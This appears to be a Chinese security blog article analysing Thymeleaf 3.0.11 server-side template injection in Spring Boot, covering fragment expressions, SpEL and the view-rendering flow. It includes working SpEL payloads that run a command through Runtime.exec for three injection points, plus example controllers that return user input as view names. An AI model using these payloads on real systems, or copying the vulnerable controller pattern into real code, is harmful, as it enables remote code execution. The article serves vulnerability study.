<\/p>\n\n\n\n\u8fd9\u91cc\u4ecb\u7ecd\u4e0b\u4ee3\u7801\u5757\u8868\u8fbe\u5f0f(\u66f4\u591a\u7684\u5730\u65b9\u79f0\u7247\u6bb5\u8868\u8fbe\u5f0f\uff0c\u4e2a\u4eba\u611f\u89c9\u4e5f\u66f4\u8d34\u5207\uff0c\u6240\u4ee5\u540e\u9762\u4ee5\u7247\u6bb5\u8868\u8fbe\u5f0f\u6765\u79f0\u547c<\/strong>)\u5373\u53ef\uff0c\u4e5f\u662f\u540e\u9762\u4f5c\u4e3a\u6f0f\u6d1epayload\u6240\u7528\u3002<\/p>\n\n\n\n
\u5176\u5b9e\u6d88\u606f\u8868\u8fbe\u5f0f\u4e5f\u53ef\u4ee5\u7528\u4f5cpayload\uff0c\u4f46\u672c\u6587\u4e3b\u8981\u662f\u6765debug\u4e0b\u6d41\u7a0b\u4ee5\u53ca\u5206\u6790\u89e6\u53d1\u70b9\uff0c\u6240\u4ee5\u8fd8\u662f\u53e0\u4e00\u4e0b\u7532\u53ea\u4ee5$<\/strong>\u4e3a\u4f8b\u3002<\/p>\n\n\n\n
\u7247\u6bb5\u8868\u8fbe\u5f0f<\/strong><\/p>\n\n\n\n
\u7247\u6bb5\u8868\u8fbe\u5f0f\u53ef\u4ee5\u7528\u4e8e\u5f15\u7528\u516c\u5171\u7684\u76ee\u6807\u7247\u6bb5\u6bd4\u5982footer\u6216\u8005header<\/p>\n\n\n\n
\u6bd4\u5982\u5728
\/WEB-INF\/templates\/footer.html<\/code>\u5b9a\u4e49\u4e00\u4e2a\u7247\u6bb5\uff0c\u540d\u4e3acopy\u3002<div th:fragment=\"copy\"><\/code><\/p>\n\n\n\n<!DOCTYPE html>
\u200b
<html xmlns:th=\"http:\/\/www.thymeleaf.org\">
\u200b
<body>
<div th:fragment=\"copy\">
© 2011 The Good Thymes Virtual Grocery
<\/div>
<\/body>
<\/html><\/pre>\n\n\n\n\u5728\u53e6\u4e00template\u4e2d\u5f15\u7528\u8be5\u7247\u6bb5
<div th:insert=\"~{footer :: copy}\"><\/div><\/code><\/p>\n\n\n\n<body>
\u200b
...
\u200b
<div th:insert=\"~{footer :: copy}\"><\/div>
<\/body><\/pre>\n\n\n\n\u7247\u6bb5\u8868\u8fbe\u5f0f\u8bed\u6cd5\uff1a<\/p>\n\n\n\n
- \n
- ~{templatename::selector}<\/strong>\uff0c\u4f1a\u5728
\/WEB-INF\/templates\/<\/code>\u76ee\u5f55\u4e0b\u5bfb\u627e\u540d\u4e3atemplatename<\/code>\u7684\u6a21\u7248\u4e2d\u5b9a\u4e49\u7684fragment<\/code>\uff0c\u5982\u4e0a\u9762\u7684~{footer :: copy}<\/code><\/li>\n\n\n\n- ~{templatename}<\/strong>\uff0c\u5f15\u7528\u6574\u4e2a
templatename<\/code>\u6a21\u7248\u6587\u4ef6\u4f5c\u4e3afragment<\/code><\/li>\n\n\n\n- ~{::selector} \u6216 ~{this::selector}<\/strong>\uff0c\u5f15\u7528\u6765\u81ea\u540c\u4e00\u6a21\u7248\u6587\u4ef6\u540d\u4e3a
selector<\/code>\u7684fragmnt<\/code><\/li>\n<\/ol>\n\n\n\n\u5176\u4e2d
selector<\/code>\u53ef\u4ee5\u662f\u901a\u8fc7th:fragment<\/code>\u5b9a\u4e49\u7684\u7247\u6bb5\uff0c\u4e5f\u53ef\u4ee5\u662f\u7c7b\u9009\u62e9\u5668\u3001ID\u9009\u62e9\u5668\u7b49\u3002<\/p>\n\n\n\n\u5f53
~{}<\/code>\u7247\u6bb5\u8868\u8fbe\u5f0f\u4e2d\u51fa\u73b0::<\/code>\uff0c\u5219::<\/code>\u540e\u9700\u8981\u6709\u503c\uff0c\u4e5f\u5c31\u662fselector<\/code>\u3002<\/p>\n\n\n\n\u9664\u4e86\u5728html\u4e2d\u8fd0\u7528\u4e4b\u5916\uff0cspringboot\u7684Controller\u6ce8\u89e3\u7b49\u7684\u63a7\u5236\u5668return\u76f8\u5f53\u4e8e\u5229\u7528\u8fd9\u4e2a\u8bed\u6cd5\u76f4\u63a5\u8fd4\u56de\u8d44\u6e90\u76ee\u5f55\u4e2d\u7684xxx.html(\u91cd\u70b9)<\/strong>\u3002<\/p>\n\n\n\n
\u800c\u5728Controller return\u76f4\u63a5\u4f7f\u7528\u7684\u8bdd\u5c31\u4e0d\u7528\u50cfhtml\u6587\u4ef6\u4e00\u6837\u7528~{ }\u5305\u88f9\u8d77\u6765\u4e86\uff1b\u5728\u540e\u9762\u7684\u6e90\u7801\u4e2d\u4e5f\u53ef\u4ee5\u770b\u5230\u6e90\u7801\u8bc6\u522b\u5230\u8868\u8fbe\u5f0f\u4f1a\u4e3b\u52a8\u5c06\u5176\u5305\u88f9\u8d77\u6765\u3002<\/p>\n\n\n\n
\u5728Springboot MVC\u4e2d\u7684\u4f7f\u7528<\/h3>\n\n\n\n
resources\/templates\/test.html:<\/p>\n\n\n\n
<!DOCTYPE html>
<html xmlns:th=\"http:\/\/www.thymeleaf.org\">
<body> <div th:fragment=\"banquan\"> © byname's test<\/div>
<\/body>
<\/html><\/pre>\n\n\n\ncontroller\u5c42\uff1a<\/p>\n\n\n\n
@Controller
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload;
}
}<\/pre>\n\n\n\n\u6216\u8005<\/p>\n\n\n\n
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload+\"::banquan\";
}
}<\/pre>\n\n\n\n\u8bbf\u95ee\/aaa?payload=test\u5c31\u4f1a\u8fd4\u56de\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\nSPEL\u8868\u8fbe\u5f0f\u6ce8\u5165<\/h2>\n\n\n\n
Themeleaf SSTI\u6253\u7684\u662fSpEL\u8868\u8fbe\u5f0f(Spring Expression Language)\uff0c\u800c\u975eEL\u8868\u8fbe\u5f0f\u3002<\/p>\n\n\n\n
\u540e\u8005\u662fJsp\u6d3e\u751f\u7684\uff0c\u800c\u524d\u8005\u662fspring\u7684\u539f\u751f\u8bed\u6cd5\uff0c\u4e5f\u80fd\u5728Themeleaf\u4e2d\u53bb\u3002<\/p>\n\n\n\n
\u5177\u4f53\u7814\u7a76\u4e5f\u5c31\u4e0d\u5728\u8fd9\u91cc\u591a\u8a00\u4e86\uff0c\u540e\u9762\u7684\u5206\u6790\u4e2d\u4f1a\u53bb\u7528\u51e0\u4e2a\u5e38\u7528\u7684payload\u3002<\/p>\n\n\n\n
3.0.11\u7248\u672c\u4e0b\u7684Thymeleaf SSTI<\/h1>\n\n\n\n
\u6f0f\u6d1e\u6210\u56e0<\/h2>\n\n\n\n
\u5bf9\u4e8eThymeleaf\u672c\u8eab\u6765\u8bf4\uff0c\u6f0f\u6d1e\u6210\u56e0\u662f\u5bf9templatename\u7684\u8fc7\u6ee4\/\u7ba1\u63a7\u4e0d\u4e25\uff1b\u5927\u6982\u5c31\u662fThymeleaf\u5185\u90e8\u4f1a\u5bf9Controller\u5c42\u8fd4\u56de\u7684\u6a21\u677f\u540d\u8fdb\u884c\u5904\u7406\uff0c\u4e00\u822c\u6765\u8bf4\u662f\u4eceController\u7684return\u503c\u83b7\u53d6\u5bf9\u5e94\u60f3\u8981\u8c03\u7528\u7684\u6a21\u677f\u540d\uff0c\u7136\u540eThymeleaf\u540e\u7eed\u5f97\u5230\u4e86\u8fd9\u4e2a\u6a21\u677f\u540d\u56de\u53bb\/templates\u76ee\u5f55\u4e0b\u53bb\u627e\u76f8\u5e94\u7684.html\u6587\u4ef6\u5e76\u8fd4\u56de\uff1b\u95ee\u9898\u5c31\u5728\u4e8e\u4ecereturn\u5230\u83b7\u53d6\u5230\u6a21\u677f\u540d\u4e0d\u4ec5\u4ec5\u662f\u201c\u4e00\u4e00\u5bf9\u5e94\u201d\uff0c\u8fd9\u4e2areturn\u672c\u8eab\u662f\u652f\u6301\u8868\u8fbe\u5f0f\u7684\u3002<\/p>\n\n\n\n
\u6bd4\u5982\uff1a<\/p>\n\n\n\n
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload+\"::banquan\";
}
}<\/pre>\n\n\n\ntest.html:<\/p>\n\n\n\n
<!DOCTYPE html>
<html xmlns:th=\"http:\/\/www.thymeleaf.org\">
<body> <div th:fragment=\"banquan\"> © byname's test<\/div>
<\/body>
<\/html><\/pre>\n\n\n\n\u6b64\u65f6\u4f20\u5165payload=test\u5c31\u662ftest::banquan\u3002\u4e5f\u5c31\u662f\u524d\u9762\u8bf4\u8fc7\u7684\u7247\u6bb5\u8868\u8fbe\u5f0f\u3002<\/p>\n\n\n\n
\u800c\u8fd9\u4e2a\u7247\u6bb5\u8868\u8fbe\u5f0f\u662f\u652f\u6301SpringEL\u8868\u8fbe\u5f0f\u7684\uff0c\u8fd9\u5c31\u610f\u5473\u7740\u7528\u6237\u80fd\u63a7\u5236\u8fd4\u56de\u89c6\u56fe\u7684\u8bdd\u5c31\u80fd\u60f3\u529e\u6cd5\u5229\u7528SPEL\u8868\u8fbe\u5f0f\u53bb\u6076\u610f\u5229\u7528\u3002<\/p>\n\n\n\n
\u636e\u4e09\u68a6\u5e08\u5085\u8bf4\uff0c\u5728\u540e\u7eed\u7248\u672c\u7684bypass\u5229\u7528\u4e2d\uff0c\u5b98\u65b9\u662f\u6ca1\u6709\u7ed9CVE\u7f16\u53f7\u7684\uff0c\u7406\u7531\u662f\u5b98\u65b9\u8ba4\u4e3a\u8fd9\u4e2a\u6f0f\u6d1e\u662f\u5e94\u8be5\u7531\u5f00\u53d1\u8005\u6ce8\u610f\u7684\u3002\u4f46\u4e2a\u4eba\u8ba4\u4e3a\u8fd9\u4e2a\u7406\u7531\u8fd8\u662f\u6709\u4e9b\u7275\u5f3a\uff0c\u4e0d\u7136\u7167\u8fd9\u6837\u8bf4CC\u94fejackson\u8fd9\u4e9b\u94fe\u5b50\u7b49\u7b49\u90fd\u4e0d\u9700\u8981\u7248\u672c\u4fee\u590d\u4e86\uff0c\u5f00\u53d1\u8005\u6ce8\u610f\u63a7\u5236\u53ef\u80fd\u7684sink\u70b9\u5c31\u884c\u4e86\u3002<\/p>\n\n\n\n
\u4e0d\u8fc7\u4ece\u8fd9\u91cc\u548c\u524d\u9762\u6211\u4eec\u4e5f\u53ef\u4ee5\u770b\u5230\uff0cThymeleaf SSTI\u7684\u5229\u7528\u786e\u5b9e\u662f\u548cController\u7684\u53ef\u63a7\u70b9\u606f\u606f\u76f8\u5173\u7684\u3002<\/p>\n\n\n\n
payloads<\/h2>\n\n\n\n
\u6309\u7167\u4e0d\u540c\u7684\u53ef\u63a7\u70b9\uff0c\u4e00\u822c\u628apayload\u5206\u6210\u4e09\u7c7b\u3002\u8fd9\u91cc\u53ea\u7528\u7b80\u5355\u7684\u5f39\u8ba1\u7b97\u5668\u7684payload\uff0c\u56de\u663e\u653e\u5728\u540e\u9762\u8bf4\u3002<\/p>\n\n\n\n
templatename\uff1a<\/strong><\/p>\n\n\n\n
@Controller
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload+\"::banquan\";
}
}<\/pre>\n\n\n\ntest::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}__<\/code><\/p>\n\n\n\n\u53ef\u4ee5\u770b\u5f97\u51fapayload\u4e5f\u5c31\u662f\u7247\u6bb5\u8868\u8fbe\u5f0f\u52a0\u4e0a\u53d8\u91cf\u8868\u8fbe\u5f0f\u7684\u7ec4\u5408\u3002<\/p>\n\n\n\n
\u5305\u88f9__ __\u662f\u7531\u4e8e\u540e\u9762\u89e3\u6790\u6d41\u7a0bThymeleafView\u4f1a\u63d0\u53d6\u51fa__ __\u91cc\u9762\u7684\u5b57\u7b26\u4e32\u6765\u5f53\u4f5c\u8868\u8fbe\u5f0f\u8bed\u53e5\u8fdb\u884c\u89e3\u6790\u3002<\/p>\n\n\n\n
2.2.2.selector<\/strong><\/p>\n\n\n\n
@GetMapping(\"\/aaa\")
public String fragment(@RequestParam String payload) {
return \"welcome :: \" + payload;
}<\/pre>\n\n\n\ntest::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}__<\/code><\/p>\n\n\n\n\u5bf9\u4e8eselector\u4e5f\u53ef\u4ee5\u4e0d\u5305\u88f9_ _\u3002\u8fd9\u5c31\u4f1a\u8d70\u5230\u53e6\u5916\u7684\u65b9\u6cd5\u53bb\u89e6\u53d1\u4e86\uff0c\u8fd9\u4e2a\u540e\u9762\u4f1a\u63d0\u5230\u3002<\/p>\n\n\n\n
2.2.3.URL path<\/strong><\/p>\n\n\n\n
@Controller
public class TestController {
@GetMapping(\"\/aaa\/{path}\")
public void test(@PathVariable String path) {
\u200b
}
}<\/pre>\n\n\n\n\u56e0\u4e3a\u8fd4\u56devoid\uff0c\u8d70\u7684\u5c31\u548c\u524d\u9762\u4e24\u4e2a\u70b9\u4e0d\u4e00\u6837\u7684\u89e3\u6790\u6d41\u7a0b\u3002<\/p>\n\n\n\n
http:\/\/localhost:8888\/aaa\/<\/a>$%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7D<\/strong>::.x<\/p>\n\n\n\n
(\u4ee5\u4e0a\u8bb0\u5f97URL\u7f16\u7801)<\/p>\n\n\n\n
Springboot+Thymeleaf\u89c6\u56fe\u6e32\u67d3\u6d41\u7a0b\u4ee5\u53ca\u6f0f\u6d1e\u89e6\u53d1\u70b9<\/h2>\n\n\n\n
\u8fd9\u7bc7\u6587\u7ae0\u5c31\u4e0d\u592a\u5177\u4f53\u5730\u5206\u6790\u6e90\u7801\u4e86\uff0c\u5c31\u7b80\u7565\u5730\u5e26\u8fc7\u4e00\u4e0b\u6e32\u67d3\u6d41\u7a0b\u4ee5\u53ca\u76f8\u5e94\u7684\u89e6\u53d1\u70b9\u3002\u5982\u679c\u5e08\u5085\u4eec\u4e0d\u719f\u6089\u6e90\u7801\u7684\u8bdd\u8fd8\u662f\u642d\u914d\u81ea\u5df1debug\u601d\u8003\u540e\u98df\u7528\u66f4\u4f73\u3002<\/p>\n\n\n\n
\u4e2a\u4eba\u8ba4\u4e3a\u5b66\u4e60\u8fd9\u4e2a\u6f0f\u6d1e\u6700\u5927\u7684\u4ef7\u503c\u4e0d\u4ec5\u4ec5\u5728\u4e8e\u5355\u7eaf\u7684SSTI\uff0c\u8c03\u8bd5\u5e76\u719f\u6089spring\u7684\u6d41\u7a0b\uff0c\u4ee5\u53ca\u5927\u6982\u719f\u6089\u6a21\u677f\u89e3\u6790\u7684\u67b6\u6784\u662f\u66f4\u91cd\u8981\u7684\uff1b\u6240\u4ee5\u5efa\u8bae\u5e08\u5085\u4eec\u8fd8\u662f\u81ea\u5df1\u53bb\u8c03\u8bd5\u4e00\u4e0b\u518d\u6765\u7ed3\u5408\u4e00\u4e0b\u8fd9\u7bc7\u6587\u7ae0\uff0c\u4e0d\u7136\u76f4\u63a5\u53bb\u770b\u6f0f\u6d1e\u89e6\u53d1\u70b9\u662f\u4e71\u5982\u9ebb\u7684\u3002<\/p>\n\n\n\n
Overview<\/h3>\n\n\n\n
\u5148\u4ecb\u7ecd\u4e00\u4e0b\u6b63\u5e38\u7684\u89c6\u56fe\u6e32\u67d3\u6d41\u7a0b\uff1a<\/p>\n\n\n\n
\u4eceDispatcherServlet\u8fd9\u4e2aServlet\u5f00\u59cb\u3002<\/p>\n\n\n\n
DispatcherServlet\u662f\u62e6\u622a\u6240\u6709\u524d\u7aef\u8bf7\u6c42\u5e76\u52a0\u4ee5\u5904\u7406\u7684\u7c7b\uff0c\u6838\u5fc3\u903b\u8f91\u5728DispatcherServlet#doDispatch\u8fd9\u91cc\u3002<\/p>\n\n\n\n
\u5b83\u505a\u4e86\u8fd9\u6837\u51e0\u4ef6\u4e8b\uff1a<\/p>\n\n\n\n
1.\u6784\u9020HandlerExecutionChain\u548c\u5bfb\u627eHandlerAdapter\uff1a<\/strong>\u6839\u636e\u8bf7\u6c42\u65b9\u5f0f\u7684\u4e0d\u540c\u627e\u5230\u76f8\u5e94\u7684Handlermapping\uff1b\u518d\u6839\u636eurl\u8bf7\u6c42\u53c2\u6570\uff0c\u53bb\u83b7\u53d6handlermapping\u4e2d\u7684Handlermethod(\u6b64\u5904\u4e3aController\u65b9\u6cd5\u5bf9\u5e94\u7684bean)\uff0c\u518d\u548c\u7cfb\u7edf\u62e6\u622a\u5668\u5c01\u88c5\u6210\u4e00\u4e2aHandlerChain\uff1b\u518d\u6839\u636e\u8fd9\u4e2aHandlerChain\u53bb\u5bfb\u627e\u9002\u914d\u7684HandlerAdapter\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u6709\u5f88\u591aXXXHandler\uff0cHandlerXXX\u3002\u5148\u8981\u7406\u6e05\u695a\u8fd9\u4e9b\u4e1c\u897f\u4ee5\u53caHandler\u548cController\u7684\u5173\u7cfb\u5177\u4f53\u53ef\u4ee5\u53bb\u770b\u770bSpringboot\u6280\u672f\u6587\u6863\u6216\u8005\u8bf4\u6587\u7ae0\u7684\u9002\u914d\u5668\u6a21\u5f0f\u6709\u5173\u90e8\u5206<\/strong>\uff0c\u8fd9\u91cc\u63a8\u4e00\u7bc7\u5199\u7684\u5f88\u597d\u7684\uff1a<\/p>\n\n\n\n
https:\/\/blog.csdn.net\/zxd1435513775\/article\/details\/103000992<\/a><\/p>\n\n\n\n
2.\u8c03\u7528HandlerAdapter\uff1a<\/strong>HandlerAdapter\u8c03\u7528\u5bf9\u5e94\u7684Handler\u53bb\u83b7\u5f97\u4e00\u4e2aModelAndView\u5bf9\u8c61\uff1b\u8fd9\u91cc\u5b9e\u9645\u4e0a\u8c03\u7528\u7684\u5c31\u662fController\u65b9\u6cd5\uff0c\u5f97\u5230\u8fd4\u56de\u503c\uff0c\u6839\u636e\u8fd4\u56de\u503c\u586b\u5199ModelAndView\u5bf9\u8c61\u4e2d\u7684viewname\u53d8\u91cf\u3002<\/p>\n\n\n\n
\u8fd9\u4e00\u6b65\u8fd8\u6709\u4e2a\u503c\u5f97\u6ce8\u610f\u7684\u5730\u65b9\uff0cviewname\u8fd9\u4e2a\u53d8\u91cf\u4e0d\u4ec5\u4ec5\u662f\u83b7\u5f97\u8fd9\u4e2areturnvalue\u8fd9\u4e48\u7b80\u5355\u3002\u5b9e\u9645\u4e0aSpringboot\u8fd8\u4f1a\u5728HandlerAdapter<\/strong>\u7684\u6267\u884c\u94fe\u6761\u4e2d\uff0c\u83b7\u53d6\u8fd4\u56de\u503c\u540e\uff0c\u5230ServletInvocableHandlerMethod#invokeAndHandle<\/strong>\u4e2d\u53bbreturnValueHandlers.handleReturnValue<\/strong>\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u8fd9\u91cc\u4e5f\u4f1a\u4f53\u73b0\u51faController<\/strong>\u548cRestController<\/strong>\u7684\u533a\u522b–\u4ee5\u53ca\u4e3a\u4ec0\u4e48\u6211\u4eec\u5b8f\u89c2\u4e0a\u7528Controller\u4f1a\u8fd4\u56de\u4e00\u4e2a\u89e3\u6790\u540e\u7684\u89c6\u56fe\uff0c\u800cRestController\u53ea\u4f1a\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u6765\u8fc7\u4e00\u4e0b\u8fd9\u4e2a\u903b\u8f91\uff1a<\/p>\n\n\n\n
\n public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,\n ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {\n\u200b\n HandlerMethodReturnValueHandler handler = selectHandler(returnValue, returnType);\n if (handler == null) {\n throw new IllegalArgumentException(\"Unknown return value type: \" + returnType.getParameterType().getName());\n }\n handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);\n }\n<\/code><\/code><\/pre>\n\n\n\n\u524d\u9762\u901a\u8fc7invoke HandlerMethod<\/strong>(controller\/restcontroller)\u8fd4\u56de\u4e00\u4e2a\u5b57\u7b26\u4e32\u4f5c\u4e3areturnvalue\u3002<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u4f1a\u6839\u636ereturnType\u53bb\u9009\u62e9\u5904\u7406\u7c7b\u578b\u7684handler\u3002\u8fd4\u56de\u7c7b\u578b\u4e0d\u5c31\u662f\u4e2a\u5b57\u7b26\u4e32\u5417\uff1f\u5176\u5b9e\u4e0d\u7136\uff0creturnType\u8fd8\u5305\u542b\u4e86Handler\u7b49\u7b49\u66f4\u591a\u4fe1\u606f\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u800c\u6839\u636eselectHandler<\/p>\n\n\n\n
private HandlerMethodReturnValueHandler selectHandler(@Nullable Object value, MethodParameter returnType) {
boolean isAsyncValue = isAsyncReturnValue(value, returnType);
for (HandlerMethodReturnValueHandler handler : this.returnValueHandlers) {
if (isAsyncValue && !(handler instanceof AsyncHandlerMethodReturnValueHandler)) {
continue;
}
if (handler.supportsReturnType(returnType)) {
return handler;
}
}
return null;
}<\/code><\/pre>\n\n\n\n\u8fd9\u91cc\u5982\u679c\u4f60\u7528\u7684RestControlle<\/strong>r\u90a3\u4e48\u4f60\u4f1aselect\u5230\u4e00\u4e2aRequestResponseBodyMethodProcessor:<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u4e14\u7531\u4e8e\u540e\u7eed\u8fd4\u56de\u903b\u8f91\u7528\u7684\u662f\u5b83\uff0c\u6700\u540emv = ha.handle(processedRequest, response, mappedHandler.getHandler());\u4f1a\u8fd4\u56denull\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u800c\u5982\u679c\u7528\u7684\u662fController\u4f1aselect\u5230ViewNameMethodReturnValueHandler<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u6700\u540e\u4f1a\u8fd4\u56de:<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n3.applyDefaultViewName()\uff1a<\/strong>\u5bf9\u5f53\u524dModelAndView\u505a\u5224\u65ad\uff0c\u5982\u679c\u4e3anull\u5219\u8fdb\u5165defalutViewName\u90e8\u5206\u5904\u7406\uff0c\u5c06URI path\u4f5c\u4e3amav\u7684viewname\u503c\u3002\u8fd9\u91cc\u5b9e\u9645\u4e0a\u4e5f\u662f\u7b2c\u4e09\u79cdpayload\u7684\u539f\u56e0\u3002<\/p>\n\n\n\n
4.processDispatchResult()\uff1a<\/strong>\u6e32\u67d3\u89c6\u56fe\u7684\u6700\u7ec8\u70b9\u3002<\/p>\n\n\n\n
\u5148\u5904\u7406ModelAndView\uff0c\u901a\u8fc7\u9002\u914d\u7684ViewResolver\u5c06viewname\u89e3\u6790\uff0c\u628amav\u91cc\u7684viewname\u7b49\u7b49\u5c01\u88c5\u5230\u4e00\u4e2a\u5177\u4f53\u7684view\u91cc\u9762\uff0c\u6bd4\u5982\u6211\u4eec\u8fd9\u91cc\u7684Thymeleafview\uff0c\u5176viewTemplateName\u91cc\u9762\u5c31\u5c01\u88c5\u4e86\u6211\u4eec\u7684viewname\u3002\u518d\u8c03\u7528Thymeleaf#render\u6765\u89e3\u6790\u89c6\u56fe\u3002<\/p>\n\n\n\n
\u5982\u679c\u4f20\u8fdb\u53bb\u7684\u503c\u5305\u542b::\u7684\u8bdd\uff0c\u5373\u8bc6\u522b\u5230\u8fd9\u662f\u7247\u6bb5\u8868\u8fbe\u5f0f\uff0c\u4f1a\u5148\u8fdb\u884c\u9884\u5904\u7406<\/strong>-\u5373\u89e3\u6790\u5728\u53d8\u91cf\u8868\u8fbe\u5f0f\u4e2d\u7684SPEL\u8bed\u53e5\u3002\u9884\u5904\u7406\u8fd9\u6b65\u662f\u6700\u4e3b\u8981\u7684\u89e6\u53d1\u70b9\u3002(\u4e3a\u4ec0\u4e48\u662f\u6700\u4e3b\u8981\u5462\uff0c\u540e\u9762\u6211\u5176\u5b9e\u81ea\u5df1\u4e5f\u53d1\u73b0\u4e2a\u70b9\uff0c\u5e94\u8be5\u7b97\u662f\u5e38\u89c4\u7684\u6267\u884c\u70b9\uff0c\u53ea\u4e0d\u8fc7\u7f51\u4e0a\u6587\u7ae0\u51e0\u4e4e\u6ca1\u6709\u63d0\u53ca\uff0c\u4e5f\u662f\u4e3a\u4ec0\u4e48\u6709\u4e9bpayload\u4e0d\u9700_ _\u4e5f\u80fd\u6b63\u5e38\u89e6\u53d1\u7684\u539f\u56e0)<\/p>\n\n\n\n
\u7136\u540e\u5c31\u662f\u6b63\u5e38\u7684\u89c6\u56fe\u89e3\u6790\u7684\u6d41\u7a0b\u4e86\uff0c\u6839\u636e\u6700\u7ec8\u7684\u503c\u627e\u5230\u76f8\u5173\u6587\u4ef6\u7136\u540e\u6e32\u67d3\u5199\u5165response\u57df\u7b49\u7b49\u3002<\/p>\n\n\n\n
\u5176\u5b9e\u603b\u7684\u6765\u8bf4\uff0c\u5bf9\u4e8e\u6211\u4eec\u6f0f\u6d1e\u89e6\u53d1\u5c31\u662f\u62c6\u5206\u6210\u5173\u952e\u7684\u4e24\u90e8\u5206\uff1a\u5982\u4f55\u5c06viewname\u89e3\u6790\u51fa\u6765\uff0c\u4ee5\u53ca\u5982\u679c\u6709::\u5219\u8fdb\u5165\u9884\u5904\u7406\u4ece\u800c\u6267\u884cpayload\u3002<\/strong><\/p>\n\n\n\n
\u53ef\u4ee5\u770b\u51fa\uff0c\u8fd9\u4e2aviewname(Thymeleafview\u4e2d\u7684viewTemplateName)\u5c31\u662f\u6211\u4eecThymeleaf SSTI\u8d2f\u7a7f\u59cb\u7ec8\u7684\u6700\u91cd\u8981\u7684\u53c2\u6570\u3002<\/p>\n\n\n\n
\u5176\u5b9e\u5b66\u4e60<\/p>\n\n\n\n
\u73b0\u5728\u6211\u4eec\u6765\u770b\u4e00\u4e0bselector\/templatename\u7684\u89e6\u53d1\u70b9\uff0c\u76f4\u63a5\u4ee5<\/p>\n\n\n\n
@Controller
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload;
}
}<\/code><\/pre>\n\n\n\n\u8fd9\u4e2aController\u6765\u8bf4\uff0c\u4f20\u53c2<\/p>\n\n\n\n
test::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}__<\/code><\/code><\/pre>\n\n\n\n\u770b\u8fc7\u4e86\u6e90\u7801\u662f\u600e\u4e48\u5904\u7406\u7684\u5176\u5b9e\u5c31\u80fd\u5bf9\u8fd9\u79cd\u6240\u8c13selector\/templatename\u7684\u8fd9\u79cd\u6ce8\u5165\u70b9\u5206\u7c7b\u4e0d\u600e\u4e48care\u4e86\uff0c\u770b\u4e00\u773c\u5c31\u660e\u767d\u4e86\u3002\u4e5f\u80fd\u660e\u767d\u4e3a\u4ec0\u4e48\u6709\u65f6\u5019\u8981\u52a0_ _\uff0c\u4f46\u5b9e\u9645\u4e0a\u81ea\u5df1\u6d4b\u7684\u65f6\u5019\u6709\u65f6\u4e0d\u52a0_ _\u4e00\u6837\u80fd\u89e6\u53d1\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u4e0b\u9762\u5206\u4e24\u4e2a\u89e6\u53d1\u70b9\u6765\u8bb2(\u9884\u5904\u7406\u548c\u6211\u81ea\u5df1\u53d1\u73b0\u7684\uff0c\u5176\u4e2d\u9884\u5904\u7406\u8fd9\u4e2a\u89e6\u53d1\u70b9\u662f\u6700\u4e3b\u8981\u7684)\uff0c\u5c31\u4e0d\u6309payload\u7c7b\u522b\u6765\u5206\u4e86\uff1a<\/p>\n\n\n\n
\u9884\u5904\u7406\u89e6\u53d1\u70b9<\/h3>\n\n\n\n
\u5148\u6765\u8bf4\u8fd9\u4e2a\u89e6\u53d1\u70b9\u3002<\/p>\n\n\n\n
\u4e5f\u5c31\u662f\u9884\u5904\u7406\u8fd9\u6b65\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u5728StandardExpressionPaser#parseExpression\u4e2d\uff0c\u5148\u8fdb\u884c\u8bed\u53e5\u7684”\u9884\u5904\u7406”(\u5bf9\u5b57\u7b26\u4e32\u7684\u5904\u7406)\uff1aStandardExpressionPreprocessor.preprocess\uff0c\u5c31\u662f\u628a__()__\u62ec\u53f7\u91cc\u9762\u7684\u4e1c\u897f\u63d0\u51fa\u6765\uff0c\u5e76\u68c0\u67e5\u8f6c\u4e49\u7b49\u7b49(\u8fd9\u91cc\u53ef\u4ee5\u53bb\u5173\u6ce8StandardExpressionPreprocessor#checkPreprocessingMarkUnescaping<\/strong>\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u7136\u540etemplatename\u90e8\u5206\u4f1a\u5c01\u88c5\u8fdbExpression\u4e2d\uff0c\u6700\u540e\u8fd4\u56de\u4e2a\u5411\u4e0a\u8f6c\u578b\u7684IStandardExpression\u63a5\u53e3\u7684\u5bf9\u8c61\u3002<\/p>\n\n\n\n
(\u5bf9\u4e8e\u8bed\u53e5\u7684”\u9884\u5904\u7406”\u8fd9\u6b65\u662f\u4e0d\u4f1a\u5bf9templatename\u90e8\u5206\u505a\u5904\u7406\u7684\uff0c\u53ea\u4f1a\u628atemplatename\u7684\u89e3\u6790\u503c\u52a0\u4e0a\u539f\u5c01\u4e0d\u52a8\u7684selector\u4e22\u8fdb\u4e00\u4e2astring\u91cc\u9762\u7136\u540e\u518d\u5728\u540e\u9762\u7684\u65b9\u6cd5\u8fdb\u884c\u89e3\u6790\u3002)<\/strong><\/p>\n\n\n\n
